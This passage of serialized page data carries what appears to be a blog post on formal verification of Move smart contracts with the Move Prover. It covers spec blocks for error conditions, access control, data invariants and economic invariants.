ps":16238,"children":16239},{"style":166},[16240],{"type":27,"value":960},{"type":22,"tag":101,"props":16242,"children":16243},{"style":926},[16244],{"type":27,"value":16245}," compare",{"type":22,"tag":101,"props":16247,"children":16248},{"style":120},[16249],{"type":27,"value":980},{"type":22,"tag":101,"props":16251,"children":16252},{"style":166},[16253],{"type":27,"value":985},{"type":22,"tag":101,"props":16255,"children":16256},{"style":126},[16257],{"type":27,"value":16258},"result_11",{"type":22,"tag":101,"props":16260,"children":16261},{"style":120},[16262],{"type":27,"value":758},{"type":22,"tag":101,"props":16264,"children":16265},{"style":166},[16266],{"type":27,"value":985},{"type":22,"tag":101,"props":16268,"children":16269},{"style":126},[16270],{"type":27,"value":16271},"result_22",{"type":22,"tag":101,"props":16273,"children":16274},{"style":120},[16275],{"type":27,"value":994},{"type":22,"tag":101,"props":16277,"children":16278},{"class":103,"line":1032},[16279,16284,16289,16293,16297,16302,16306,16311],{"type":22,"tag":101,"props":16280,"children":16281},{"style":3595},[16282],{"type":27,"value":16283}," if",{"type":22,"tag":101,"props":16285,"children":16286},{"style":120},[16287],{"type":27,"value":16288}," ( ",{"type":22,"tag":101,"props":16290,"children":16291},{"style":126},[16292],{"type":27,"value":11935},{"type":22,"tag":101,"props":16294,"children":16295},{"style":166},[16296],{"type":27,"value":1541},{"type":22,"tag":101,"props":16298,"children":16299},{"style":120},[16300],{"type":27,"value":16301}," EQUAL ) ",{"type":22,"tag":101,"props":16303,"children":16304},{"style":108},[16305],{"type":27,"value":5608},{"type":22,"tag":101,"props":16307,"children":16308},{"style":3595},[16309],{"type":27,"value":16310}," else",{"type":22,"tag":101,"props":16312,"children":16313},{"style":108},[16314],{"type":27,"value":16315}," false\n",{"type":22,"tag":101,"props":16317,"children":16318},{"class":103,"line":1063},[16319],{"type":22,"tag":101,"props":16320,"children":16321},{"style":120},[16322],{"type":27,"value":188},{"type":22,"tag":23,"props":16324,"children":16325},{},[16326],{"type":27,"value":16327},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":22,"tag":91,"props":16329,"children":16331},{"code":16330,"language":95,"meta":7,"className":93,"style":7},"spec add_assoc_property {\n aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n ensures result == true;\n}\n",[16332],{"type":22,"tag":30,"props":16333,"children":16334},{"__ignoreMap":7},[16335,16350,16454,16478],{"type":22,"tag":101,"props":16336,"children":16337},{"class":103,"line":104},[16338,16342,16346],{"type":22,"tag":101,"props":16339,"children":16340},{"style":126},[16341],{"type":27,"value":12284},{"type":22,"tag":101,"props":16343,"children":16344},{"style":126},[16345],{"type":27,"value":15994},{"type":22,"tag":101,"props":16347,"children":16348},{"style":120},[16349],{"type":27,"value":154},{"type":22,"tag":101,"props":16351,"children":16352},{"class":103,"line":157},[16353,16357,16361,16366,16370,16374,16378,16382,16386,16390,16394,16398,16402,16406,16410,16414,16418,16422,16426,16430,16434,16438,16442,16446,16450],{"type":22,"tag":101,"props":16354,"children":16355},{"style":126},[16356],{"type":27,"value":13908},{"type":22,"tag":101,"props":16358,"children":16359},{"style":120},[16360],{"type":27,"value":3603},{"type":22,"tag":101,"props":16362,"children":16363},{"style":926},[16364],{"type":27,"value":16365},"value_of_U256",{"type":22,"tag":101,"props":16367,"children":16368},{"style":120},[16369],{"type":27,"value":980},{"type":22,"tag":101,"props":16371,"children":16372},{"style":126},[16373],{"type":27,"value":80},{"type":22,"tag":101,"props":16375,"children":16376},{"style":120},[16377],{"type":27,"value":901},{"type":22,"tag":101,"props":16379,"children":16380},{"style":166},[16381],{"type":27,"value":8426},{"type":22,"tag":101,"props":16383,"children":16384},{"style":926},[16385],{"type":27,"value":13709},{"type":22,"tag":101,"props":16387,"children":16388},{"style":120},[16389],{"type":27,"value":980},{"type":22,"tag":101,"props":16391,"children":16392},{"style":126},[16393],{"type":27,"value":7262},{"type":22,"tag":101,"props":16395,"children":16396},{"style":120},[16397],{"type":27,"value":12844},{"type":22,"tag":101,"props":16399,"children":16400},{"style":166},[16401],{"type":27,"value":8426},{"type":22,"tag":101,"props":16403,"children":16404},{"style":926},[16405],{"type":27,"value":13709},{"type":22,"tag":101,"props":16407,"children":16408},{"style":120},[16409],{"type":27,"value":980},{"type":22,"tag":101,"props":16411,"children":16412},{"style":126},[16413],{"type":27,"value":7187},{"type":22,"tag":101,"props":16415,"children":16416},{"style":120},[16417],{"type":27,"value":901},{"type":22,"tag":101,"props":16419,"children":16420},{"style":166},[16421],{"type":27,"value":13949},{"type":22,"tag":101,"props":16423,"children":16424},{"style":114},[16425],{"type":27,"value":13665},{"type":22,"tag":101,"props":16427,"children":16428},{"style":166},[16429],{"type":27,"value":13822},{"type":22,"tag":101,"props":16431,"children":16432},{"style":114},[16433],{"type":27,"value":13665},{"type":22,"tag":101,"props":16435,"children":16436},{"style":166},[16437],{"type":27,"value":13822},{"type":22,"tag":101,"props":16439,"children":16440},{"style":114},[16441],{"type":27,"value":13665},{"type":22,"tag":101,"props":16443,"children":16444},{"style":166},[16445],{"type":27,"value":13822},{"type":22,"tag":101,"props":16447,"children":16448},{"style":114},[16449],{"type":27,"value":13665},{"type":22,"tag":101,"props":16451,"children":16452},{"style":120},[16453],{"type":27,"value":1520},{"type":22,"tag":101,"props":16455,"children":16456},{"class":103,"line":182},[16457,16461,16465,16469,16474],{"type":22,"tag":101,"props":16458,"children":16459},{"style":126},[16460],{"type":27,"value":14206},{"type":22,"tag":101,"props":16462,"children":16463},{"style":126},[16464],{"type":27,"value":13168},{"type":22,"tag":101,"props":16466,"children":16467},{"style":166},[16468],{"type":27,"value":1541},{"type":22,"tag":101,"props":16470,"children":16471},{"style":108},[16472],{"type":27,"value":16473}," true",{"type":22,"tag":101,"props":16475,"children":16476},{"style":120},[16477],{"type":27,"value":1520},{"type":22,"tag":101,"props":16479,"children":16480},{"class":103,"line":367},[16481],{"type":22,"tag":101,"props":16482,"children":16483},{"style":120},[16484],{"type":27,"value":188},{"type":22,"tag":23,"props":16486,"children":16487},{},[16488],{"type":27,"value":16489},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":22,"tag":91,"props":16491,"children":16492},{"code":15951},[16493],{"type":22,"tag":30,"props":16494,"children":16495},{"__ignoreMap":7},[16496],{"type":27,"value":15951},{"type":22,"tag":23,"props":16498,"children":16499},{},[16500,16502,16509],{"type":27,"value":16501},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":22,"tag":80,"props":16503,"children":16506},{"href":16504,"rel":16505},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[84],[16507],{"type":27,"value":16508},"spec-lang.md",{"type":27,"value":16510}," in the Move Repository.",{"type":22,"tag":53,"props":16512,"children":16514},{"id":16513},"use-cases",[16515],{"type":27,"value":16516},"Use Cases",{"type":22,"tag":23,"props":16518,"children":16519},{},[16520],{"type":27,"value":16521},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":22,"tag":23,"props":16523,"children":16524},{},[16525],{"type":27,"value":16526},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":22,"tag":1760,"props":16528,"children":16530},{"id":16529},"error-conditions",[16531],{"type":27,"value":16532},"Error Conditions",{"type":22,"tag":23,"props":16534,"children":16535},{},[16536,16538,16544],{"type":27,"value":16537},"Taking an example from ",{"type":22,"tag":30,"props":16539,"children":16541},{"className":16540},[],[16542],{"type":27,"value":16543},"std::fixed_point32",{"type":27,"value":16545},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":22,"tag":91,"props":16547,"children":16549},{"code":16548,"language":95,"meta":7,"className":93,"style":7}," spec schema MultiplyAbortsIf {\n val: num;\n multiplier: FixedPoint32;\n aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n }\n spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n (val * multiplier.value) >> 32\n }\n",[16550],{"type":22,"tag":30,"props":16551,"children":16552},{"__ignoreMap":7},[16553,16574,16594,16615,16661,16669,16732,16771],{"type":22,"tag":101,"props":16554,"children":16555},{"class":103,"line":104},[16556,16560,16565,16570],{"type":22,"tag":101,"props":16557,"children":16558},{"style":126},[16559],{"type":27,"value":12935},{"type":22,"tag":101,"props":16561,"children":16562},{"style":126},[16563],{"type":27,"value":16564}," schema",{"type":22,"tag":101,"props":16566,"children":16567},{"style":114},[16568],{"type":27,"value":16569}," MultiplyAbortsIf",{"type":22,"tag":101,"props":16571,"children":16572},{"style":120},[16573],{"type":27,"value":154},{"type":22,"tag":101,"props":16575,"children":16576},{"class":103,"line":157},[16577,16582,16586,16590],{"type":22,"tag":101,"props":16578,"children":16579},{"style":126},[16580],{"type":27,"value":16581}," val",{"type":22,"tag":101,"props":16583,"children":16584},{"style":166},[16585],{"type":27,"value":169},{"type":22,"tag":101,"props":16587,"children":16588},{"style":126},[16589],{"type":27,"value":13738},{"type":22,"tag":101,"props":16591,"children":16592},{"style":120},[16593],{"type":27,"value":1520},{"type":22,"tag":101,"props":16595,"children":16596},{"class":103,"line":182},[16597,16602,16606,16611],{"type":22,"tag":101,"props":16598,"children":16599},{"style":126},[16600],{"type":27,"value":16601}," multiplier",{"type":22,"tag":101,"props":16603,"children":16604},{"style":166},[16605],{"type":27,"value":169},{"type":22,"tag":101,"props":16607,"children":16608},{"style":114},[16609],{"type":27,"value":16610}," FixedPoint32",{"type":22,"tag":101,"props":16612,"children":16613},{"style":120},[16614],{"type":27,"value":1520},{"type":22,"tag":101,"props":16616,"children":16617},{"class":103,"line":367},[16618,16623,16628,16632,16637,16641,16646,16651,16656],{"type":22,"tag":101,"props":16619,"children":16620},{"style":126},[16621],{"type":27,"value":16622}," aborts_if",{"type":22,"tag":101,"props":16624,"children":16625},{"style":926},[16626],{"type":27,"value":16627}," spec_multiply_u64",{"type":22,"tag":101,"props":16629,"children":16630},{"style":120},[16631],{"type":27,"value":980},{"type":22,"tag":101,"props":16633,"children":16634},{"style":126},[16635],{"type":27,"value":16636},"val",{"type":22,"tag":101,"props":16638,"children":16639},{"style":120},[16640],{"type":27,"value":758},{"type":22,"tag":101,"props":16642,"children":16643},{"style":126},[16644],{"type":27,"value":16645},"multiplier",{"type":22,"tag":101,"props":16647,"children":16648},{"style":120},[16649],{"type":27,"value":16650},") > MAX_U64 ",{"type":22,"tag":101,"props":16652,"children":16653},{"style":126},[16654],{"type":27,"value":16655},"with",{"type":22,"tag":101,"props":16657,"children":16658},{"style":120},[16659],{"type":27,"value":16660}," EMULTIPLICATION;\n",{"type":22,"tag":101,"props":16662,"children":16663},{"class":103,"line":398},[16664],{"type":22,"tag":101,"props":16665,"children":16666},{"style":120},[16667],{"type":27,"value":16668}," }\n",{"type":22,"tag":101,"props":16670,"children":16671},{"class":103,"line":428},[16672,16676,16680,16684,16688,16692,16696,16700,16704,16708,16712,16716,16720,16724,16728],{"type":22,"tag":101,"props":16673,"children":16674},{"style":126},[16675],{"type":27,"value":12935},{"type":22,"tag":101,"props":16677,"children":16678},{"style":126},[16679],{"type":27,"value":826},{"type":22,"tag":101,"props":16681,"children":16682},{"style":926},[16683],{"type":27,"value":16627},{"type":22,"tag":101,"props":16685,"children":16686},{"style":120},[16687],{"type":27,"value":980},{"type":22,"tag":101,"props":16689,"children":16690},{"style":126},[16691],{"type":27,"value":16636},{"type":22,"tag":101,"props":16693,"children":16694},{"style":166},[16695],{"type":27,"value":169},{"type":22,"tag":101,"props":16697,"children":16698},{"style":126},[16699],{"type":27,"value":13738},{"type":22,"tag":101,"props":16701,"children":16702},{"style":120},[16703],{"type":27,"value":758},{"type":22,"tag":101,"props":16705,"children":16706},{"style":126},[16707],{"type":27,"value":16645},{"type":22,"tag":101,"props":16709,"children":16710},{"style":166},[16711],{"type":27,"value":169},{"type":22,"tag":101,"props":16713,"children":16714},{"style":114},[16715],{"type":27,"value":16610},{"type":22,"tag":101,"props":16717,"children":16718},{"style":120},[16719],{"type":27,"value":2261},{"type":22,"tag":101,"props":16721,"children":16722},{"style":166},[16723],{"type":27,"value":169},{"type":22,"tag":101,"props":16725,"children":16726},{"style":126},[16727],{"type":27,"value":13738},{"type":22,"tag":101,"props":16729,"children":16730},{"style":120},[16731],{"type":27,"value":154},{"type":22,"tag":101,"props":16733,"children":16734},{"class":103,"line":997},[16735,16739,16743,16747,16752,16756,16761,16766],{"type":22,"tag":101,"props":16736,"children":16737},{"style":120},[16738],{"type":27,"value":12717},{"type":22,"tag":101,"props":16740,"children":16741},{"style":126},[16742],{"type":27,"value":16636},{"type":22,"tag":101,"props":16744,"children":16745},{"style":166},[16746],{"type":27,"value":13822},{"type":22,"tag":101,"props":16748,"children":16749},{"style":126},[16750],{"type":27,"value":16751}," multiplier",{"type":22,"tag":101,"props":16753,"children":16754},{"style":166},[16755],{"type":27,"value":231},{"type":22,"tag":101,"props":16757,"children":16758},{"style":120},[16759],{"type":27,"value":16760},"value) ",{"type":22,"tag":101,"props":16762,"children":16763},{"style":166},[16764],{"type":27,"value":16765},">>",{"type":22,"tag":101,"props":16767,"children":16768},{"style":1544},[16769],{"type":27,"value":16770}," 32\n",{"type":22,"tag":101,"props":16772,"children":16773},{"class":103,"line":1032},[16774],{"type":22,"tag":101,"props":16775,"children":16776},{"style":120},[16777],{"type":27,"value":16668},{"type":22,"tag":1760,"props":16779,"children":16781},{"id":16780},"access-control-policies",[16782],{"type":27,"value":16783},"Access Control Policies",{"type":22,"tag":23,"props":16785,"children":16786},{},[16787],{"type":27,"value":16788},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":22,"tag":23,"props":16790,"children":16791},{},[16792,16794,16800,16802,16807],{"type":27,"value":16793},"For example, in ",{"type":22,"tag":30,"props":16795,"children":16797},{"className":16796},[],[16798],{"type":27,"value":16799},"std::offer",{"type":27,"value":16801}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":22,"tag":6961,"props":16803,"children":16804},{},[16805],{"type":27,"value":16806},"or",{"type":27,"value":16808}," the recipient is now allowed.",{"type":22,"tag":91,"props":16810,"children":16812},{"code":16811,"language":95,"meta":7,"className":93,"style":7}," spec redeem {\n /// Aborts if there is no offer under `offer_address` or if the account\n /// cannot redeem the offer.\n /// Ensures that the offered struct under `offer_address` is removed.\n aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n ensures !exists\u003COffer\u003COffered>>(offer_address);\n ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n }\n",[16813],{"type":22,"tag":30,"props":16814,"children":16815},{"__ignoreMap":7},[16816,16833,16841,16849,16857,16904,16960,17003,17069],{"type":22,"tag":101,"props":16817,"children":16818},{"class":103,"line":104},[16819,16824,16829],{"type":22,"tag":101,"props":16820,"children":16821},{"style":126},[16822],{"type":27,"value":16823}," spec",{"type":22,"tag":101,"props":16825,"children":16826},{"style":126},[16827],{"type":27,"value":16828}," redeem",{"type":22,"tag":101,"props":16830,"children":16831},{"style":120},[16832],{"type":27,"value":154},{"type":22,"tag":101,"props":16834,"children":16835},{"class":103,"line":157},[16836],{"type":22,"tag":101,"props":16837,"children":16838},{"style":2215},[16839],{"type":27,"value":16840}," /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":22,"tag":101,"props":16842,"children":16843},{"class":103,"line":182},[16844],{"type":22,"tag":101,"props":16845,"children":16846},{"style":2215},[16847],{"type":27,"value":16848}," /// cannot redeem the offer.\n",{"type":22,"tag":101,"props":16850,"children":16851},{"class":103,"line":367},[16852],{"type":22,"tag":101,"props":16853,"children":16854},{"style":2215},[16855],{"type":27,"value":16856}," /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":22,"tag":101,"props":16858,"children":16859},{"class":103,"line":398},[16860,16864,16869,16873,16877,16882,16886,16891,16895,16900],{"type":22,"tag":101,"props":16861,"children":16862},{"style":126},[16863],{"type":27,"value":13060},{"type":22,"tag":101,"props":16865,"children":16866},{"style":166},[16867],{"type":27,"value":16868}," !",{"type":22,"tag":101,"props":16870,"children":16871},{"style":126},[16872],{"type":27,"value":4216},{"type":22,"tag":101,"props":16874,"children":16875},{"style":120},[16876],{"type":27,"value":123},{"type":22,"tag":101,"props":16878,"children":16879},{"style":114},[16880],{"type":27,"value":16881},"Offer",{"type":22,"tag":101,"props":16883,"children":16884},{"style":120},[16885],{"type":27,"value":123},{"type":22,"tag":101,"props":16887,"children":16888},{"style":114},[16889],{"type":27,"value":16890},"Offered",{"type":22,"tag":101,"props":16892,"children":16893},{"style":120},[16894],{"type":27,"value":10749},{"type":22,"tag":101,"props":16896,"children":16897},{"style":126},[16898],{"type":27,"value":16899},"offer_address",{"type":22,"tag":101,"props":16901,"children":16902},{"style":120},[16903],{"type":27,"value":994},{"type":22,"tag":101,"props":16905,"children":16906},{"class":103,"line":428},[16907,16911,16915,16920,16924,16928,16932,16936,16940,16944,16948,16952,16956],{"type":22,"tag":101,"props":16908,"children":16909},{"style":126},[16910],{"type":27,"value":13060},{"type":22,"tag":101,"props":16912,"children":16913},{"style":166},[16914],{"type":27,"value":16868},{"type":22,"tag":101,"props":16916,"children":16917},{"style":126},[16918],{"type":27,"value":16919},"is_allowed_recipient",{"type":22,"tag":101,"props":16921,"children":16922},{"style":120},[16923],{"type":27,"value":123},{"type":22,"tag":101,"props":16925,"children":16926},{"style":114},[16927],{"type":27,"value":16890},{"type":22,"tag":101,"props":16929,"children":16930},{"style":120},[16931],{"type":27,"value":1618},{"type":22,"tag":101,"props":16933,"children":16934},{"style":126},[16935],{"type":27,"value":16899},{"type":22,"tag":101,"props":16937,"children":16938},{"style":120},[16939],{"type":27,"value":3007},{"type":22,"tag":101,"props":16941,"children":16942},{"style":166},[16943],{"type":27,"value":970},{"type":22,"tag":101,"props":16945,"children":16946},{"style":926},[16947],{"type":27,"value":1958},{"type":22,"tag":101,"props":16949,"children":16950},{"style":120},[16951],{"type":27,"value":980},{"type":22,"tag":101,"props":16953,"children":16954},{"style":126},[16955],{"type":27,"value":6713},{"type":22,"tag":101,"props":16957,"children":16958},{"style":120},[16959],{"type":27,"value":3950},{"type":22,"tag":101,"props":16961,"children":16962},{"class":103,"line":997},[16963,16967,16971,16975,16979,16983,16987,16991,16995,16999],{"type":22,"tag":101,"props":16964,"children":16965},{"style":126},[16966],{"type":27,"value":12196},{"type":22,"tag":101,"props":16968,"children":16969},{"style":166},[16970],{"type":27,"value":16868},{"type":22,"tag":101,"props":16972,"children":16973},{"style":126},[16974],{"type":27,"value":4216},{"type":22,"tag":101,"props":16976,"children":16977},{"style":120},[16978],{"type":27,"value":123},{"type":22,"tag":101,"props":16980,"children":16981},{"style":114},[16982],{"type":27,"value":16881},{"type":22,"tag":101,"props":16984,"children":16985},{"style":120},[16986],{"type":27,"value":123},{"type":22,"tag":101,"props":16988,"children":16989},{"style":114},[16990],{"type":27,"value":16890},{"type":22,"tag":101,"props":16992,"children":16993},{"style":120},[16994],{"type":27,"value":10749},{"type":22,"tag":101,"props":16996,"children":16997},{"style":126},[16998],{"type":27,"value":16899},{"type":22,"tag":101,"props":17000,"children":17001},{"style":120},[17002],{"type":27,"value":994},{"type":22,"tag":101,"props":17004,"children":17005},{"class":103,"line":1032},[17006,17010,17014,17018,17023,17027,17032,17036,17040,17044,17048,17052,17056,17060,17064],{"type":22,"tag":101,"props":17007,"children":17008},{"style":126},[17009],{"type":27,"value":12196},{"type":22,"tag":101,"props":17011,"children":17012},{"style":126},[17013],{"type":27,"value":13168},{"type":22,"tag":101,"props":17015,"children":17016},{"style":166},[17017],{"type":27,"value":1541},{"type":22,"tag":101,"props":17019,"children":17020},{"style":926},[17021],{"type":27,"value":17022}," old",{"type":22,"tag":101,"props":17024,"children":17025},{"style":120},[17026],{"type":27,"value":980},{"type":22,"tag":101,"props":17028,"children":17029},{"style":126},[17030],{"type":27,"value":17031},"global",{"type":22,"tag":101,"props":17033,"children":17034},{"style":120},[17035],{"type":27,"value":123},{"type":22,"tag":101,"props":17037,"children":17038},{"style":114},[17039],{"type":27,"value":16881},{"type":22,"tag":101,"props":17041,"children":17042},{"style":120},[17043],{"type":27,"value":123},{"type":22,"tag":101,"props":17045,"children":17046},{"style":114},[17047],{"type":27,"value":16890},{"type":22,"tag":101,"props":17049,"children":17050},{"style":120},[17051],{"type":27,"value":10749},{"type":22,"tag":101,"props":17053,"children":17054},{"style":126},[17055],{"type":27,"value":16899},{"type":22,"tag":101,"props":17057,"children":17058},{"style":120},[17059],{"type":27,"value":2261},{"type":22,"tag":101,"props":17061,"children":17062},{"style":166},[17063],{"type":27,"value":231},{"type":22,"tag":101,"props":17065,"children":17066},{"style":120},[17067],{"type":27,"value":17068},"offered);\n",{"type":22,"tag":101,"props":17070,"children":17071},{"class":103,"line":1063},[17072],{"type":22,"tag":101,"props":17073,"children":17074},{"style":120},[17075],{"type":27,"value":1734},{"type":22,"tag":23,"props":17077,"children":17078},{},[17079],{"type":27,"value":17080},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":22,"tag":1760,"props":17082,"children":17084},{"id":17083},"complex-mathematical-formulae",[17085],{"type":27,"value":17086},"Complex Mathematical Formulae",{"type":22,"tag":23,"props":17088,"children":17089},{},[17090,17092,17097],{"type":27,"value":17091},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":22,"tag":6961,"props":17093,"children":17094},{},[17095],{"type":27,"value":17096},"always",{"type":27,"value":17098}," the output.",{"type":22,"tag":23,"props":17100,"children":17101},{},[17102],{"type":27,"value":17103},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":22,"tag":23,"props":17105,"children":17106},{},[17107,17109,17116],{"type":27,"value":17108},"For example, in our work with ",{"type":22,"tag":80,"props":17110,"children":17113},{"href":17111,"rel":17112},"https://laminar.markets/",[84],[17114],{"type":27,"value":17115},"Laminar Markets",{"type":27,"value":17117},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":22,"tag":1760,"props":17119,"children":17121},{"id":17120},"data-invariants",[17122],{"type":27,"value":17123},"Data Invariants",{"type":22,"tag":23,"props":17125,"children":17126},{},[17127,17129,17135,17137,17143,17145,17151,17153,17159],{"type":27,"value":17128},"Formal verification provides the best environment to verify that certain ",{"type":22,"tag":30,"props":17130,"children":17132},{"className":17131},[],[17133],{"type":27,"value":17134},"variables",{"type":27,"value":17136}," or ",{"type":22,"tag":30,"props":17138,"children":17140},{"className":17139},[],[17141],{"type":27,"value":17142},"resources",{"type":27,"value":17144}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":22,"tag":30,"props":17146,"children":17148},{"className":17147},[],[17149],{"type":27,"value":17150},"index",{"type":27,"value":17152}," is never greater than 4 using a ",{"type":22,"tag":30,"props":17154,"children":17156},{"className":17155},[],[17157],{"type":27,"value":17158},"struct invariant",{"type":27,"value":231},{"type":22,"tag":91,"props":17161,"children":17163},{"code":17162,"language":95,"meta":7,"className":93,"style":7},"struct Type {\n index: u64\n}\n\nspec Type {\n invariant index \u003C 4;\n}\n",[17164],{"type":22,"tag":30,"props":17165,"children":17166},{"__ignoreMap":7},[17167,17183,17200,17207,17214,17229,17253],{"type":22,"tag":101,"props":17168,"children":17169},{"class":103,"line":104},[17170,17174,17179],{"type":22,"tag":101,"props":17171,"children":17172},{"style":108},[17173],{"type":27,"value":111},{"type":22,"tag":101,"props":17175,"children":17176},{"style":114},[17177],{"type":27,"value":17178}," Type",{"type":22,"tag":101,"props":17180,"children":17181},{"style":120},[17182],{"type":27,"value":154},{"type":22,"tag":101,"props":17184,"children":17185},{"class":103,"line":157},[17186,17191,17195],{"type":22,"tag":101,"props":17187,"children":17188},{"style":126},[17189],{"type":27,"value":17190}," index",{"type":22,"tag":101,"props":17192,"children":17193},{"style":166},[17194],{"type":27,"value":169},{"type":22,"tag":101,"props":17196,"children":17197},{"style":114},[17198],{"type":27,"value":17199}," u64\n",{"type":22,"tag":101,"props":17201,"children":17202},{"class":103,"line":182},[17203],{"type":22,"tag":101,"props":17204,"children":17205},{"style":120},[17206],{"type":27,"value":188},{"type":22,"tag":101,"props":17208,"children":17209},{"class":103,"line":367},[17210],{"type":22,"tag":101,"props":17211,"children":17212},{"emptyLinePlaceholder":15},[17213],{"type":27,"value":1581},{"type":22,"tag":101,"props":17215,"children":17216},{"class":103,"line":398},[17217,17221,17225],{"type":22,"tag":101,"props":17218,"children":17219},{"style":126},[17220],{"type":27,"value":12284},{"type":22,"tag":101,"props":17222,"children":17223},{"style":114},[17224],{"type":27,"value":17178},{"type":22,"tag":101,"props":17226,"children":17227},{"style":120},[17228],{"type":27,"value":154},{"type":22,"tag":101,"props":17230,"children":17231},{"class":103,"line":428},[17232,17236,17241,17245,17249],{"type":22,"tag":101,"props":17233,"children":17234},{"style":126},[17235],{"type":27,"value":12301},{"type":22,"tag":101,"props":17237,"children":17238},{"style":126},[17239],{"type":27,"value":17240}," index",{"type":22,"tag":101,"props":17242,"children":17243},{"style":166},[17244],{"type":27,"value":12726},{"type":22,"tag":101,"props":17246,"children":17247},{"style":1544},[17248],{"type":27,"value":15751},{"type":22,"tag":101,"props":17250,"children":17251},{"style":120},[17252],{"type":27,"value":1520},{"type":22,"tag":101,"props":17254,"children":17255},{"class":103,"line":997},[17256],{"type":22,"tag":101,"props":17257,"children":17258},{"style":120},[17259],{"type":27,"value":188},{"type":22,"tag":23,"props":17261,"children":17262},{},[17263,17265,17272,17273,17279],{"type":27,"value":17264},"We were able to verify more complex properties in our recent audits for ",{"type":22,"tag":80,"props":17266,"children":17269},{"href":17267,"rel":17268},"https://layerzero.network/",[84],[17270],{"type":27,"value":17271},"LayerZero",{"type":27,"value":209},{"type":22,"tag":80,"props":17274,"children":17277},{"href":17275,"rel":17276},"http://ariesmarkets.xyz/",[84],[17278],{"type":27,"value":10812},{"type":27,"value":17280},", but the details are left as an exercise to the reader.",{"type":22,"tag":1760,"props":17282,"children":17284},{"id":17283},"economic-invariants",[17285],{"type":27,"value":17286},"Economic Invariants.",{"type":22,"tag":23,"props":17288,"children":17289},{},[17290],{"type":27,"value":17291},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":22,"tag":23,"props":17293,"children":17294},{},[17295],{"type":27,"value":17296},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":22,"tag":91,"props":17298,"children":17299},{"code":11977,"language":95,"meta":7,"className":93,"style":7},[17300],{"type":22,"tag":30,"props":17301,"children":17302},{"__ignoreMap":7},[17303,17310,17393,17432,17451,17458,17473,17496,17519,17542],{"type":22,"tag":101,"props":17304,"children":17305},{"class":103,"line":104},[17306],{"type":22,"tag":101,"props":17307,"children":17308},{"style":2215},[17309],{"type":27,"value":11989},{"type":22,"tag":101,"props":17311,"children":17312},{"class":103,"line":157},[17313,17317,17321,17325,17329,17333,17337,17341,17345,17349,17353,17357,17361,17365,17369,17373,17377,17381,17385,17389],{"type":22,"tag":101,"props":17314,"children":17315},{"style":126},[17316],{"type":27,"value":10597},{"type":22,"tag":101,"props":17318,"children":17319},{"style":926},[17320],{"type":27,"value":12001},{"type":22,"tag":101,"props":17322,"children":17323},{"style":120},[17324],{"type":27,"value":980},{"type":22,"tag":101,"props":17326,"children":17327},{"style":126},[17328],{"type":27,"value":12010},{"type":22,"tag":101,"props":17330,"children":17331},{"style":166},[17332],{"type":27,"value":169},{"type":22,"tag":101,"props":17334,"children":17335},{"style":114},[17336],{"type":27,"value":174},{"type":22,"tag":101,"props":17338,"children":17339},{"style":120},[17340],{"type":27,"value":758},{"type":22,"tag":101,"props":17342,"children":17343},{"style":126},[17344],{"type":27,"value":12027},{"type":22,"tag":101,"props":17346,"children":17347},{"style":166},[17348],{"type":27,"value":169},{"type":22,"tag":101,"props":17350,"children":17351},{"style":114},[17352],{"type":27,"value":174},{"type":22,"tag":101,"props":17354,"children":17355},{"style":120},[17356],{"type":27,"value":2261},{"type":22,"tag":101,"props":17358,"children":17359},{"style":166},[17360],{"type":27,"value":169},{"type":22,"tag":101,"props":17362,"children":17363},{"style":120},[17364],{"type":27,"value":3603},{"type":22,"tag":101,"props":17366,"children":17367},{"style":114},[17368],{"type":27,"value":12052},{"type":22,"tag":101,"props":17370,"children":17371},{"style":120},[17372],{"type":27,"value":758},{"type":22,"tag":101,"props":17374,"children":17375},{"style":114},[17376],{"type":27,"value":12052},{"type":22,"tag":101,"props":17378,"children":17379},{"style":120},[17380],{"type":27,"value":901},{"type":22,"tag":101,"props":17382,"children":17383},{"style":126},[17384],{"type":27,"value":906},{"type":22,"tag":101,"props":17386,"children":17387},{"style":114},[17388],{"type":27,"value":12073},{"type":22,"tag":101,"props":17390,"children":17391},{"style":120},[17392],{"type":27,"value":154},{"type":22,"tag":101,"props":17394,"children":17395},{"class":103,"line":182},[17396,17400,17404,17408,17412,17416,17420,17424,17428],{"type":22,"tag":101,"props":17397,"children":17398},{"style":108},[17399],{"type":27,"value":12085},{"type":22,"tag":101,"props":17401,"children":17402},{"style":126},[17403],{"type":27,"value":12090},{"type":22,"tag":101,"props":17405,"children":17406},{"style":166},[17407],{"type":27,"value":960},{"type":22,"tag":101,"props":17409,"children":17410},{"style":926},[17411],{"type":27,"value":12099},{"type":22,"tag":101,"props":17413,"children":17414},{"style":120},[17415],{"type":27,"value":980},{"type":22,"tag":101,"props":17417,"children":17418},{"style":126},[17419],{"type":27,"value":12010},{"type":22,"tag":101,"props":17421,"children":17422},{"style":120},[17423],{"type":27,"value":758},{"type":22,"tag":101,"props":17425,"children":17426},{"style":126},[17427],{"type":27,"value"